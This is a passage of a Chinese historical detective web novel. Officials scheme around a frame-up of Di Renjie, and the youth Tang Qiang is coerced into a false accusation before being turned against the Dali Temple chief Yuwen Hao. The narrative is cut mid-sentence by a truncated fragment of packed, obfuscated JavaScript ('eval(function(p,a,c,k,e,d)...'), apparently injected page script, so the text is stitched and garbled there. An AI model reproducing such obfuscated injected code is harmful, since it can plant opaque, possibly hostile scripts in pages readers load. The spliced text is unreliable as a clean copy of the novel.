“于是,”他继续说,“我就提前把这个想法告知了宇文寺卿,让他可以准备好人手,在每天晚上天黑以后,埋伏在彭府屋檐的四周,等等看,如果过了一周还没有动静,那么再将人手撤走不迟。但如果真的有人会来,岂不是大功一件,而且还能抓获一个作案之人,说不定从他口里还能问出真凶和阴谋来,真相自然大白于天下。宇文寺卿听了,想了半天,觉得也对,反正彭府一案也没有什么切入点,还不如守株待兔,看看结果如何。他于是就提前埋伏好了人手,每天晚上,彭府四周的屋檐上,都有大理寺的人,就等着前来盗取秘密的人自投罗网。我当时想,如果抓住了一个作案者,应该就可以让狄阁老不再被人怀疑是凶手了。我已经跟你分析过,狄阁老一没有犯案的动机,二没有犯案的可能,我也不说了,你再去回想一下当夜的情况就知道了。至于运粮队被害一案,我认为张阁老说的在理。你想,整个队伍都被杀害了,怎么偏偏还有一个人活了下来,还有力气回到京城,去说什么,凶手是狄阁老。那个叫小马猴的,现在还活着不是,你不觉得他有点问题吗?虽然他未必是队伍里的奸细,但他很有可能是被那些歹人有意放回来的,就是为了让他说出那句话,陷害狄阁老。而吕队长和他带领的巡逻队,纯粹是因为当夜没能阻止罪案的发生,又与狄阁老一行前来查案的发生了冲突,所以才死活咬定狄阁老他们不放。这些我也都跟你说过了,你也同意,那我也不说了,反正说了也没用,也很难让皇上相信我们的话。现在皇上连通缉令都下达了,狄阁老他们肯定在被到处追捕,这也是很无奈的事。因为我大概已经猜到了,狄阁老这次就是被皇上派出去的,而不是什么逃出京城去边关投敌。估计狄阁老也没想到,自己从查案者的身份,一夜之间变成了作案者了。他应该是中了歹人的计了,所以彭府一案才发生的那么巧,跟他的出走发生在了同一时间。所以我们唯一能帮上他们的,就是让皇上相信,狄阁老并不是凶手,只要通缉令解除了,他们办案应该会容易些。” “但后来,”他叹了口气,继续说,“虽然抓住了一个夜间偷偷进了彭府的人,也就是那个小伙子唐强,但你一听他的口供就知道,那绝对是抓错了呀。怎么可能派这种人来盗取什么东西呢,绝对是抓错了。而且当时埋伏在彭府屋顶上的,有人看见黑暗中闪过一个黑影,速度非常快,那绝对是武功高手才有的身手,怎么可能是这个手无缚鸡之力的小孩呢?所以我猜,当时绝对来了至少两个人,一个就是这个唐强,还有一个,就是真正来盗取秘密的人,也就是作案者。那么这个唐强来的真是不巧,正正好就只抓住了他,而那个真正来盗取秘密的人,反倒趁机脱身了,说不定都没走,只是躲了起来,等大理寺众人一离开,他就又出来了,说不定把那个我假设的秘密都已经盗走了呢。嗐,结果抓来的,不但没能帮狄阁老洗脱冤屈,反倒被宇文寺卿给利用来陷害狄阁老了。他居然逼那个唐强一口咬定狄阁老不放,指控说,是狄阁老指使自己来的。这不是典型的陷害吗?这不是诬告吗?嗐!” 屈福听他说完,也叹了口气。 “没办法啊,”屈福看着卜裕低声说道,“宇文寺卿毕竟是梁王提拔的,而梁王,又拼了命地要置狄阁老于死地,所以宇文寺卿也只能去配合着陷害狄阁老。这次来了这么一个唐强,正好成为了替死鬼,既能让彭府一案不了了之,还能顺便指控一下狄阁老,更给他添了些子虚乌有的新的罪名。这番,只怕狄阁老很难再翻身了。就连我们,虽然知道他是被冤枉的,但毕竟没有证据,还是很难让皇上相信。唉,所以啊,没办法了。” 卜裕想了想,说道:“还是有办法的。” “哦?什么办法?” “你知道,”卜裕说,“自隋唐以来,任何一个重大案件都要由大理寺、刑部、御史台三司会审。虽然最后决定一切的还是皇上本人,但这中间的步骤是一个也少不得的。大理寺卿、刑部尚书还有御史中丞,被称为三司使。他们中间任何一个都不能单独处理一个重大案件,就比如这次,指控狄阁老一案,虽然说狄阁老如今已经是通缉犯了,但毕竟事情还不明了,而狄阁老之前还是当朝宰相,这可是一个重大的案件,那么大理寺虽然主管审理,可之后还得把人移交到刑部大牢去复核,然后御史台再参与最终的审判。这么看来,宇文寺卿一个人还决定不了一切。如果这个唐强因为害怕的缘故,临时翻供,说自己是被迫指控狄阁老的,这样虽然对寺卿不利,可毕竟真相还是会大白。而刑部的甄尚书,又常常跟宇文寺卿作对,肯定会跟他反着来,也就是反过来证明,狄阁老是无辜的。这样,指控到达皇上面前的时候,就变成了两种说法,那么狄阁老就不是死路一条,甚至可以通过这次的事件,让皇上怀疑之前的诸多指控是否也有问题,间接地为狄阁老洗脱冤屈。这么看来,还是有希望的。” “你说的是,”屈福听了点头道,“看来我们接下来,要静观其变了。” ...... 刑部尚书甄仑的住宅在京城中处于一个非常偏僻又安静的地方。那是一个穷人又住不起,富人又不屑住的地方。那里四周围就没什么民宅,只有一片比较荒凉的空地,几个小巷子,几个小街道,离皇宫很远,所以每天上朝,就要把他给累个半死,如果再来回多走几趟,从他的住宅一直走到皇宫,再从皇宫走回他偏远的住宅,那么他肯定累死在半路,再也回不了家了。 虽然如此,他却依然选择住在这里,不肯搬家。为什么呢?只因他犹记孔圣人《论语》之《雍也篇》有句云:“贤哉回也!一箪食,一瓢饮,在陋巷。人不堪其忧,回也不改其乐。贤哉回也!”故此,“回”者贤也,反之,不“回”者不贤也。若欲贤也,焉能不“回”耶?是以“回”之。且古之贤者,箪食瓢饮在陋巷,甄某故而效之,人皆不堪其忧,某不改其乐,不亦宜乎? 这个甄仑满脑子都是古文,总以古时圣贤的话为标准,甚至行事为人也要常常引用一两句。至于是否要照着做,那得看他是否乐意。 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他平时有空闲的时候,就独自待在自己小住宅的书房里,在浩如烟海的书籍当中,挑选那些对自己最有用的来读,或者说是,对自己来说最具有实用价值的那些内容,他才会花时间来读,否则休想圣人多看一眼。 这一天早上,他手上拿着简牍,正在一边细读,一边思考着里面丰富的内容,而且桌案上还磊着无数个简牍,都是他精心挑选过的,对自己具有极高的“实用价值”的读物,其中都是些《六韬》、《孙子兵法》、《三略》、《素书》、《鬼谷子》等讲计谋的书,专门用来对付宇文豪的。但他现在正在看的是来俊臣所著的《罗织经》。这来俊臣乃本朝酷吏,就在今年,几个月之前,被武则天下令处死了。他的这本《罗织经》连狄仁杰和武则天看了都害怕,专门讲的是怎么罗织罪名,怎么制造冤狱,怎么整人,怎么害人的书。也不知这甄仑从哪里弄来了几卷,高兴的了不得,跟得了宝似的,天天躲起来偷偷看。 正看得不亦乐乎,突然仆人走了进来,把他吓得藏之不迭。仆人说,今天大理寺送来了一个犯罪嫌疑人,是在彭府作案现场抓到的。甄仑一听大理寺,就想到宇文豪,就不由得大怒了起来,朝仆人吼了一声:“吾已知晓,何必多言!汝入来,当先报,不言而入,何也?!速去!吾自处之!”仆人吓得连忙退下了。 甄仑于是把那些简牍慢慢收了起来,脑子里一面还在回味刚刚读到的那些佳句。他已经想好了,等到时候宇文豪一被皇上给降罪,一旦入了刑部大牢以后,成为了一个罪犯,而且审判的人就是他甄仑自己,那么,就要把这个宇文豪往死里整,用上来俊臣的妙计,给他宇文豪来个逼供,来个屈打成招,来个陷害!他想好了,他甄仑自己要是都不好过,那就要让他宇文豪更不好过!比自己更不好过! 甄仑之所以已经想到了这一步,因为这次他势在必得,肯定能够一举扳倒宇文豪。 他甄仑早在今日凌晨,就已经提前收到了消息。 从他安插在大理寺的奸细那里得知了消息。 得知了什么消息呢? 就是宇文豪,昨天夜里刚刚抓到了一个叫唐强的人,并非真正的凶手,却成为了他宇文豪用来结案的替死鬼,并且,还要用这个唐强来诬告一个人,也就是当朝宰相狄仁杰。 他甄仑,已经提前得知了这个消息。他早就想好了,要怎么应对。 他也知道,大理寺一定会把嫌疑人移交刑部,然后等着刑部一批准,最后三司会审一定案,结果一到了皇上的面前,他宇文豪就真正的赢了。 为什么说是宇文豪赢了呢? 因为他甄仑,只在乎跟宇文豪赌输赢。 如果这次的结果,就是那个唐强诬告狄仁杰成功了,那么狄仁杰也就从此完蛋了,而狄仁杰一完蛋,梁王也就差不多赢了,因为朝中又少了一个反对自己的人,而梁王一旦差不多赢了,他宇文豪基本就完全赢了,因为梁王看他宇文豪有功,就会借着自己跟皇上的关系,再次提拔宇文豪,说不定升他做个正二品,甚至是正一品的官员,都有可能。 那么到时候,自己甄仑只是一个正三品的刑部尚书,从此官位就会比他宇文豪更低了一等,那也就再也没有实力跟他抗衡了。虽然如今就已经很难与之抗衡,因为梁王是他宇文豪的后台,而自己在朝中只是孤家寡人一个,根本就干不过他,所以只能跟他斗斗嘴,在皇上面前争辩争辩,但至少,他宇文豪如今作为大理寺卿,跟自己这个刑部尚书还都是正三品的官位,地位差不多还是相同的,虽然宇文豪有后台,但也不至于直接碾压了自己。 况且,甄仑在朝中,既不是向着梁王等武氏宗亲,也不是向着狄仁杰、张柬之、姚崇等向着李唐的人,更不是向着李显、李旦等如今已经落魄的李氏“君王”。他甄仑独来独往,不与任何人为伍,是个只管明哲保身的“局外人”。他不想卷进这些俗人的争斗当中,因为他犹记《道德经》中老聃曾云:“夫唯不争,故天下莫能与之争。”又曰:“圣人之道,为而不争。”而自己甄仑便是圣人,是以圣人处无为之事,无为而无不为,自己无所作为便是为,为所欲为亦是无为,无为无不为,不亦宜乎?这是圣人之道,甄仑越来越觉得,自己果真就是古之所谓圣人也,故而自己争便是不争,不争便是争,善哉。 但他为什么,这次依然势在必得,认为自己可以一举扳倒宇文豪呢?因为这个唐强,是被他宇文豪给威逼到不得不去做出指控的,而非自愿去指控。如果是自愿指控,有错就错在指控的人,但如果是被威逼而不得不去指控的,那么错就错在威逼人的那个人,也就是这次的宇文豪。 甄仑想,如果宇文豪威逼唐强去指控狄仁杰的事被皇上给知道了,那么他宇文豪应该就彻底完蛋了。而且自己并不是孤军奋战,因为宇文豪虽然有梁王作为后台,但这次如果是去帮助狄仁杰洗脱冤屈,那么朝中向着李唐的人应该都会为自己撑腰,其中狄仁杰在朝中最好的朋友张柬之张阁老,就一定会帮狄仁杰说话。甄仑觉得,自己这次的胜算还挺大。 他感觉到,这将会是他甄仑跟大理寺卿宇文豪之间的一场终极决战。 而这场终极决战的最终结果,将会关系重大。 这关系到,全天下的小学生是否会看得起自己。 这是尊严问题。 28. 第二十八章 告发 唐强的两个眼睛睁得大大的,整个人浑身发抖,冷汗直流,呼吸急促,手足无措,感到又惊恐又疲倦,又担心又害怕,同时感到痛苦至极,非常地悲伤难过,却又很无奈,因为此时此刻他已经身不由己了,什么都改变不了,只能顺从命运的安排,或者更确切地说,是顺从宇文豪等人的安排。 他自从昨天晚上偷偷进了彭府,被一群人给抓到了大理寺,然后被他们给轮番审问了一场之后,整个人就已经变得有点神经兮兮了,动不动就感到恐惧和紧张,深怕他们要杀自己灭口,或者是把自己怎么样,他自己也不知道接下来会发生些什么,但他就感觉,自己可能要倒大霉了。其实不是可能,也不用等接下来会怎么样,他现在就已经倒死霉了。 他怎么也没有想到,那个四周空荡荡的彭府,竟然屋檐上埋伏着人!他又没想犯什么法,只是想省点事,去找寻他哥哥的尸体,自己去找而已嘛,于是也就没有去通报官府,就自己偷偷地从那个他哥哥告诉他的洞口里爬了进去。没想到啊没想到,周围竟然有人!他在一片漆黑中,根本就搞不清东南西北,自己都不知道自己到哪了,于是就被大理寺的那些人给当场抓了个正着,带走了。 他真的没想到会这样,因为他刚刚才来到京城,听街上那些人说,彭府的守卫早都已经撤走了,所以彭府应该是没有人的呀。怎么会自己一来,就偏偏多了一些人呢?他们怎么知道自己要来?唐强实在是想不通,也不想再想了,因为现在他已经快疯了,已经精神状态非常地不健康了。他已经一个晚上没有睡觉了,既没有机会去睡,也实在是紧张到睡不着,而那些大理寺的人还一直威逼自己,一直要自己去做那件事,也就是指控人的事。 自己哪里懂这些!自己只是一个穷小子,现在要自己去诬告一个不久前还是当朝宰相的狄仁杰!自己能做到吗?自己为什么要做?他真的快疯了,他好难过啊。他已经不知道为什么要活下去了,但他又怕死,他不敢违背这些人的话,他想到了哥哥,想到了妈妈,想到自己怎么会这么倒霉,怎么偏偏这种事就临到了自己呢?“唉呀!”,他难过地叫道,“我命苦啊!妈,估计见不着你啦!” 大理寺那些人用各种问题审问他,刁难他,都快把他给逼疯了!唐强知道,自己已经快疯了!但他意识到,自己知道自己快疯了,看来自己还没有疯,是不是,是不是?他被那些人关在一个黑暗的小房间里,一个晚上都快闷死了,房间里没有窗户,没有饭,没有水,没有一点光。他偷偷地哭,又神经质地笑,想到了妈妈又哭,想起了自己又笑,他在哪里?他在干吗?他自己也不知道! 大理寺卿宇文豪跟他说,你要是不去指控狄仁杰,你也是死路一条,因为你已经半夜三更偷偷进了彭府作案现场,你现在还想凭借这么几句话就洗脱嫌疑?有那么容易吗?大理寺办案是那么敷衍的吗?你以为大周国没有法度吗?你还想“唐强”“唐强”呢?你以为你是什么东西?你也配姓“周”?! 唐强真的是没办法了,只得点头答应,说自己听他宇文豪的话,去做他要自己做的事,诬告谁都可以,但是自己想活着出去见妈妈。宇文豪说,你先把你该做的事情做了,出不出得去再说。唐强于是大叫道:“你不是说没事我明天早上就能离开了吗?!怎么又不让我走啦!我怎么帮你们做事!做完了事情为什么还不让我走!为什么到时候再说!为什么不答应我!”他疯也似的乱喊乱叫,被那些人按在椅子上,跑也跑不掉,只是忍不住大哭了起来,声嘶力竭地哭,但也没有一点办法,那群人恶狠狠地,自己打不过。 “你再敢叫直接把你小子当罪犯抓了!”他们朝他吼道。 “我不是坏人哪!”唐强哭叫道。 “坏人?!坏人一般来说是抓不住的!所以就要用你小子来抓,你明白了吗?!” “你们怎么这么欺负人哪!我真的快死了!” “想死还不容易!你就一意孤行吧!” 唐强哭到累了,就不哭了,跪下来向他们众人磕头,说自己照着做就是了,“求求你们,别给我安个罪名,说我是罪犯啊!我是良民,今后还想清清白白做人呢!” “那得看你听不听话。” 唐强哪里敢不听话,只好拼命地点头,说自己去做,去做,明天就去做,明天就去诬告狄阁老,说狄阁老是罪魁祸首,是彭府灭门案的主谋,自己是帮凶之一,被他派遣来彭府,去做不知道什么事。 “什么叫不知道什么事?!”大理寺那些人吼道。 “我哪里知道什么事!”唐强大叫。 “你不知道也得想一个!” “我想不出来啊!” 他们说,你要是到时候说不出狄仁杰叫你来做什么事,你就完蛋了!所以编也要编出一个理由来,一个作案的动机来。 “但我没有作案啊!” “你如果不去承认自己是作案者,是狄仁杰派来的,那我们就只好拿你一个人去惩罚,说这一切都是你唐强一个人干的。” “我明明没有犯法,本来就应该没什么事啊,怎么我反倒承认自己有问题呢?!” “你横竖不论怎么样,都要吃不了兜着走!” “那我活着还有什么意思!”唐强绝望地叫道。 “你如果诬告狄仁杰成功了,那你可以稍微减轻一点点罪名,因为狄仁杰变成了主谋,你唐强也只是帮凶。否则的话,你唐强就是主谋,是最大的罪犯,那么你悲惨的结果,是可想而知的。“ “怎么能这样……” “你做不做?!天快亮了,你选择的机会不多了!你要是不做,好啊,你就被当街凌迟吧!” 唐强一个晚上,被从黑屋子带到明亮处,又从明亮处带回黑屋子,刚刚准备睡着就被吵醒,醒了又把他丢在一旁不管了。问他们话他们有时候不回答,他们问自己又逼着自己赶紧回答。他之前不知道什么叫痛苦,什么叫快疯了的感觉,他这一天晚上,全部都知道了,全部都经历了,全部都明白了!他又想到妈妈在家里天天为哥哥的死去而流眼泪,哥哥曾经抱怨说在彭府里被主子指使来指使去,人生在世没有自由,没有尊严,只有无尽的痛苦。他唐强一边哭,一边笑,哭是绝望的哭,笑是无奈的笑。他看见小黑屋的门缝透进了一点亮光,天已经快亮了。 他们不久后进来了几个人,说自己记住说定的话,要照着做,否则连大理寺卿宇文豪这样的好人也救不了你。现在,准备跟他们去刑部大牢吧。 他大吃一惊,目瞪口呆,心想自己没听错吧?“什么?!刑部大牢?!我要去坐牢啦?!我……我有什么罪啊!” “你的罪,就是碰巧被我们给遇上了,走吧!” “哎呀!你们别弄我!”他疯也似的在黑暗的房间里转着圈乱跑,被他们当中的几个壮汉一把抓住,整个人被他们拖了出来。 “你又想反悔了吗?”宇文豪一脸冷笑站在院子里问。 “我没想到还要坐牢啊!”唐强又哭了。 “你没想到的事还多着呢。”宇文豪淡淡道,“你想翻供吗?现在反悔还来得及。” “我现在反悔,又能怎么样呢?”唐强无奈地说。 “你现在反悔,结果可以更惨一点。” “不不不,我不反悔。”唐强连忙道。 “请吧。” 唐强于是满脸泪痕,面色憔悴,浑身颤抖着,整个人状态神经兮兮,一路上不知道走过了京城什么样的风景,也不知道过了多久,来到了一个很大的建筑面前,还有个很大的门,门前有两个石头做的动物,好像狮子又不太像,张牙舞爪地看着自己。唐强吓得尖叫了起来,那些人连忙捂住他的嘴,威胁他说:“现在反悔已经晚了!你要是进去敢翻供,我们会查清你母亲的住址,然后请她来见你。”唐强听了这话,更加吃惊,简直是处于半个疯子的状态了。 “母亲?我母亲?我的母亲?!”他瞪着眼脑子一片混乱地想道,“他们要动我妈妈!哎呀,我的天哪!”他这么一想,登时不敢再乱叫了,已经吓得跟个哑巴似的了。 他听到了大门开了,不知道怎么开的,不知道自己怎么进去的,感觉路好长,不知道自己在什么地方,进了哪里,又是开门的声音,里面开始变得一片阴暗了,有门,铁门的声音,铁门开了,好像又关了,在自己背后,有人说话的声音,他们握着自己的胳膊,有点疼,好像自己的脚已经麻了,不知道踩在什么地方,有一声“进去!”响在自己耳边,好像进去了,进哪里去了?他不知道,但好像很暗,也不是很暗,好像没有昨天晚上暗,反正还是很暗,有窗,是天窗,有一点光。他又听到了铁门的开关,关上了,在自己身后,他已经在里面了,在刑部大牢里面了。他累了,整个人突然就身不由己,倒在了旁边的一堆稻草上,不知不觉地,就这么睡着了…… 唐强睡得迷迷糊糊的,脑子却似乎异常清醒,隐约听到了什么声音,好像远处传来的说话的声音,是那些狱卒的声音,他们在跟什么人说话,有铁门开关的响声,有下台阶的脚步声,越来越靠近,靠近了自己的单间牢房,说话声时不时传来,声音更大了些,离自己很近,好像就在旁边,然后又是一声钥匙打开铁门的锁头的声音,铁门好像开了,很近,就在自己旁边,似乎是自己牢房的铁门,伴随着铁门轻轻又关上了的声响,石头地上有靴子踩在上面的脚步声,稻草好像也在响动,就在自己旁边了。 唐强睡眼惺忪,累得眼睛都快睁不开了,但差不多已经被这一系列的声音给吵醒了,眼皮疲惫到自动合上了,眼前有一点光,应该是从牢房的天窗照进来的,是外面的日光。他脑袋胀痛,眼睛发酸,整个头都感觉疼,感觉浑身上下都不舒服,都很累,根本就不想动,也不想起来,也不想睁开眼来,只想继续睡觉,但他的意识明明是清晰的,好像自己现在已经醒了,但他也知道,自己可能还没有完全醒来,还是半睡半醒的状态。 他在一片疼痛和难受的感觉中,似乎猜到了什么。他觉得,可能自己的旁边,来了一个什么人,应该是个比较重要的人,因为外面狱卒刚才都叫了一声什么,“真大人”,还是什么,“上输”,他也不清楚。但那来的应该是一个大人物,而且是来见自己的。他模模糊糊地这么想着,却还是希望,这一切都是错觉,这样他就能够继续好好地睡觉了。他不想被人打扰,因为此时他实在是太累了,太疲倦了,太想睡觉了。 突然,他又恍恍惚惚听到了一个离自己很近的声音传来,似乎就在耳旁。那声音虽然离得近,但感觉并不大声,所以自己处于半睡半醒中,依然选择了继续睡觉。那声音又传来了,比刚才大声了些,好像在叫“躺枪”“躺枪”什么的。什么叫“躺枪”?躺着的枪?不对啊,那好像是自己啊,他朦胧中仔细一听,原来叫的是“唐强”,叫的是自己!他这会儿猛然清醒了过来,迅速地睁开了还没睡醒的双眼,茫然不知所措地望向四周,一片暗淡的牢房中,天窗外面透进了一点日光,自己的正对面,一个木头椅子上,正坐着一个人,一个身穿官服的人。 这个人长得很猥琐,有一撮山羊胡,整个人又矮小又干瘪,还一脸怪怪的样子,让人看着就很不舒服。何况他的声音,非常地尖锐,让人耳朵听了更是难受得不得了,恨不得立刻聋掉。而唐强此刻偏就没有聋,所以听了他的声音,耳朵也痛了起来,不由得痛苦地叫了起来。 对面那人正是刑部尚书甄仑。 “勿嚎,勿嚎也!”他跟唐强说道,“汝勿要多虑,吾此来,有言相告,汝坐便是。” 唐强一听了他的话,吃了一惊,登时便不嚎了,只是瞪着两个莫名其妙的眼睛,张着一个莫名其妙的嘴巴,目瞪口呆地看着他,简直是跟傻了似的。 “汝小儿,圆睁双目视吾,何也?”甄仑见了唐强这样,也感到莫名其妙。 “你……”唐强差不多懵了,说话都变得有点结巴了,“你谁啊?” “吾乃刑部甄仑是也,汝小儿无甚见识,焉能识得甄某耶?” “我……”唐强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这世上怎么都没有个正常人哪!哎呀我的天哪!是我不正常,还是这个世界不正常!我怎么快疯了呢?!谁来救我!”唐强双手抱头,疯也似的大喊大叫,整个人的神态非常地疯狂,真的就快要疯了。 “勿叫,勿叫!” “我叫,我叫!哈哈哈!” “住口!”甄仑突然站起身来正言厉色大喝一声。 唐强登时住了口,也不敢再乱叫了,但他的头发已经被自己给抓得乱糟糟了,神情也还是半疯的状态。 甄仑又坐了下来。 “本官此来,”他正色道,“乃为询汝,何故犯法?” 唐强虽然听不懂询问的“询”字,但“犯法”二字还是听懂了,而且听甄仑的语气,像是在问自己问题,于是只好回答他:“我……我没有犯法。” “本官,知汝不曾犯法。”甄仑说着狡黠地一笑,“但汝,可曾入彭府?” “我……我是进了彭府……但我没有杀人哪!” “勿叫,勿叫,吾知道!”甄仑忙道,“问汝,可曾入?” “彭府我是进了。” “汝可知,彭府是何处?” “作案现场。”唐强道。 “汝既知,何故又入?” “我是去……找我哥哥的遗体。”唐强叹了口气,“我哪里知道会这样呢。” “哼哼哼,”甄仑又是狡黠地笑了笑,看着唐强说,“汝可知,汝何竟行至今日这一步?” “是我自己的错。”唐强又叹了口气。 “非也,非也。”甄仑脸上带着一种奇怪的笑说道,“非汝之错,乃大理寺卿宇文豪之错也。” 唐强一听这话,立刻便抬起了头,看着甄仑。 “大人,你说什么?”唐强问。 “吾说,此乃大理寺卿宇文豪之错。乃宇文豪害了汝,非汝之过也。” 唐强一听这话,不由得伤感,忍不住“哇”的一声痛哭了起来。 甄仑脸上露出了得意的笑。 “大人,”唐强哭着说,“大理寺那些人……” “汝不必多言,吾已知晓。”甄仑安慰他道,“非宇文豪威逼汝,汝擅入彭府,亦不过是小罪,又何至于成为宇文豪逼汝自认之大罪犯耶?” “对啊,这位大人,小的我冤枉啊!”唐强大叫说。 “本官知道。” “这位大人,求你为小的做主!小的还想回去见母亲呢,不想死在牢里!” “本官乃圣人,自当为汝做主。” 唐强感激涕零,连忙跪下来给甄仑磕头。甄仑略一欠身,将他扶了起来。 “汝欲活命耶?”甄仑问他。 “我想活着,我想活着回去见妈妈。”唐强点头道。 “本官有一法,汝欲听耶?”甄仑问他。 “小的愿意听,只要大人能救了小人,小人给大人做牛做马……” “欸,不必为本官做马牛,只需为汝自己活命足矣。”甄仑笑着说。 “小的多谢大人救命之恩……”唐强颤抖着说。 “汝,是否恨宇文豪。” “我……小的我……我恨哪……”唐强咬牙切齿,眼泪又流了出来。 “吾亦恨之。”甄仑凑到他耳边,悄声说道。 唐强看了甄仑一眼,似乎有点惊喜。 “本官,自当助汝,将宇文豪小贼,弄死!”甄仑悄声说完,哼哼狞笑了起来。 唐强也跟着狞笑了起来。 “大人,你说,小的我,该怎么做?”唐强问。 “宇文豪威逼汝诬告狄仁杰,是否?” “是,他们还威胁小的,如果不去诬告狄阁老,就拿小的来当替死鬼。” “如今本官告诉汝,汝即便指控狄仁杰,汝亦是一死,只因汝自己承认汝乃帮凶,又焉能不死耶。但若是汝行得一事,反倒可保汝活命。” “什么事?” “告发宇文豪。”甄仑恶狠狠地说道。 29. 第二十九章 解脱 咚、咚、咚,咚、咚、咚…… 京兆府大门前的堂鼓被敲打得山响,京城北大街许多过路的行人都被这好久没有响起的鼓声给吸引了来,一齐围在四周观看,不知道要发生什么事。只因这京兆府在天子脚下可不是个普通的衙门,不是那些小老百姓鸡毛蒜皮、家长里短的纷争就能来告状的地方,而是专管重大案件的。所以平民老百姓如果没有关系重大的事,正常情况下是不能来这里敲打堂鼓的,不然府尹升堂之后,觉得你在浪费他的时间,反倒会来治你的罪。而且真要有什么重大的案件,一般也是到有司衙门去报案,或者是到大理寺,没几个人会来京兆府这里。 如果要说,这个京兆府有什么特别的地方,那就是你“关系重大”的事情,府尹有权给你当场解决了,不必一级一级向上汇报,受到那么多的约束,浪费那么多的时间。但前提是,必须得证据确凿。只要能证据确凿,案件的案犯甚至是可以被当堂判决死刑的,而不需要走任何别的程序。当然前提是,府尹得愿意,否则你就是铁证如山,他也照样可以不去管,因为你不过是个小民,就算他不管,你又能怎么样? 说起这个京兆府尹,那可是个正三品的官职,绝对不算低了。他的地位基本上是与朝中几位尚书,还有大理寺卿并列的,而且权力也很大,毕竟案件到了京兆府这里,就基本上是由他府尹一个人审理了,爱怎么管就怎么管,想怎么做就怎么做。但平时前来告状的人很少,所以府尹也是闲得没事干,虽然他就喜欢没事干,因为他不爱管事,但闲得太久了,也有些无聊,甚至希望来点什么事,让自己管管,也好用自己手中的权力,对人们造成一点什么影响。 现任府尹姓管名拟,字郝贤,是个城府很深,却又架子很大的中年人。这个人非常矛盾,因为他什么道理都懂,连官场那一套伪装的把戏都早已摸透了,但就是控制不住自己,想要在人前威风威风,尤其是在那些没权没势的小老百姓面前,更是要肆无忌惮地装腔作势一番。但他同时又很懂得见风使舵,更确切地说,是懂得怎么在这个复杂的官场中明哲保身。他从来不去得罪同僚,却也不会去奉承同僚,因为奉承了这个同僚,可能无意间就得罪了另一个同僚,所以他既不得罪,也不奉承,因为奉承了一不小心就会变成另一种形式的得罪,而不得罪的本身就是另一种形式的奉承。 这个管拟既想什么事都管管,也想什么事都置身事外。他就是一个很矛盾的人,但偏偏就是这种人,在这个复杂的官场里面,混得最好。因为朝廷不养无用之人,也不敢养用处太大的人。如果真的什么事都不管,那白白给你薪俸做什么?但要是什么事都管,那你就别想再拿到薪俸了。管拟就深知这个道理,而他就恰好能在管与不管之间找到一个平衡点,在有用跟无用之间也找到一个过渡,然后轻轻松松,坐在这个正三品的官位上,拿着很高的薪俸,过着很好的日子。 但现在有一个问题,就是他已经太长时间处于“无用”的状态了,如果再这么继续下去,估计朝廷觉得天下已经太平了,都没有一个人来击鼓鸣冤了,那么干脆就把京兆府都取消了算了,白白养着无用之人做什么?还不如民间的小衙门有用,至少人家天天都有小老百姓来喊冤,不像你这个京兆府,搞得规模那么宏大,天天门可罗雀的,跟个摆设似的,难道这世道还用得着你这种“曲高和寡”的玩意儿? 就在府尹烦恼之际,外面突然传来了堂鼓的“咚咚”声,而且敲得山响,简直是震天动地。这可是一年半载都难以听到的,“美妙”的声音啊!府尹管拟忽然欣喜若狂,心想今天来这么一下,不管事情怎么样,结果又如何,至少自己的官职是保住了,而且还能再持续个一年半载,等下一次再有敲堂鼓的声音响起,自己这个官就又能继续做下去了。如此看来,自己是一辈子也不会丢工作了,因为这世上的事,不论大小,总是没完没了,所以那个堂鼓声迟早都会响起,但又不会响得太频繁,让自己没有机会清闲。 这时候那个堂鼓“咚咚咚”的在外面响,不但街上的人惊讶,京兆府的官吏们惊讶,好久没有拿起水火棍的衙役们惊讶,连府尹管拟也惊讶。这个声音,已经多久没有响起了?他们都不记得了。当然管拟还记得一些,好像一年前有人敲过一次,是个穷疯了的乞丐,也不为别的,就是因为肚子太饿了,整个人很痛苦,看到人就想打,又不敢,所以正好来到了京兆府的大门前,看到了堂鼓,于是就狠命地乱敲了一番,最后当堂乱喊乱叫,在众人的围观之下发疯了,见他是个疯子,也就放出去了。然后是半年前,又有人敲过一次,是个精神病,正好路过京兆府的大门前,整个人朝堂鼓那儿一扑,把整个堂鼓都给撞倒了,然后他在堂鼓上面跳舞,把堂鼓跳破了,最后当堂说着胡话,指着众人和府尹大笑,见他是个精神病,也就放出去了。之后是几个月前,又有人在新的堂鼓上没有节奏地乱敲了一番,原来是个小顽童,见那堂鼓好玩,就乱敲,把他父母吓死了,见是个小孩乱闹,也就放出去了。 这次堂鼓被敲打的还算有节奏感,一下接着一下,“咚、咚、咚,咚、咚、咚”,只是不知是哪个疯子、精神病?府尹当然也不管这些,有人敲打就好,看来工作没丢,于是便连忙升堂。这次来的却是一个年轻人,但看他的状态,好像也是半个疯子精神病,怎么那么神经兮兮的,把府尹和众人都给吓了一跳。 只见那个年轻人一见府尹升堂,便连忙冲进了大堂,朝地上一扑,摔了一跤,又连忙爬了起来,浑身颤抖,跪在当中。两旁衙役们手握水火棍,用棍子敲击地板,一面拉长了声音大声喊道:“威——武——!”声响非常洪亮,在大堂里面回荡,简直是震耳欲聋,把那些围观的都吓得登时不敢说话了。这种气势,谁见了不害怕?如果是个比较胆小些的罪犯,估计这时候都已经全部招供了。 “你叫什么名字啊,为何击鼓鸣冤?”府尹问道。 “小的我……小的我叫唐强。”那年轻人正是唐强。“我……我有冤情。” “你有什么冤情啊?” “我……”唐强有点害怕,声音都是颤抖的,“我……我要告发……我要告发一个人。” “你要告发一个人?谁啊?” “大……大……大……大理寺卿,宇文豪。” 这话一出,众人都“啊”的一声。 “你……你要告谁?”府尹皱眉问。 “大理寺卿,宇文豪。”唐强这次没那么结巴了。 “你……你告大理寺卿做什么?” “他……他害得我家破人亡。”唐强说道。 “哦?他怎么害得你家破人亡啊?” “我……”唐强也不知道该怎么说,突然大叫了起来,“反正我倒霉啦!” “不要咆哮公堂。”府尹被他这么一叫,吓了一跳。 “我没有咆哮!”唐强咆哮道,“我倒霉,倒霉,倒血霉!我倒大霉!” “你给我住口!”府尹拍案喝道,“你乱叫什么?!你要告谁啊?” “宇文豪!狗杂种宇文豪!”唐强大叫。 “你不要叫!” “我快疯啦!”唐强还在乱喊乱叫,“我真的不想活了!” “你莫非有精神病?” 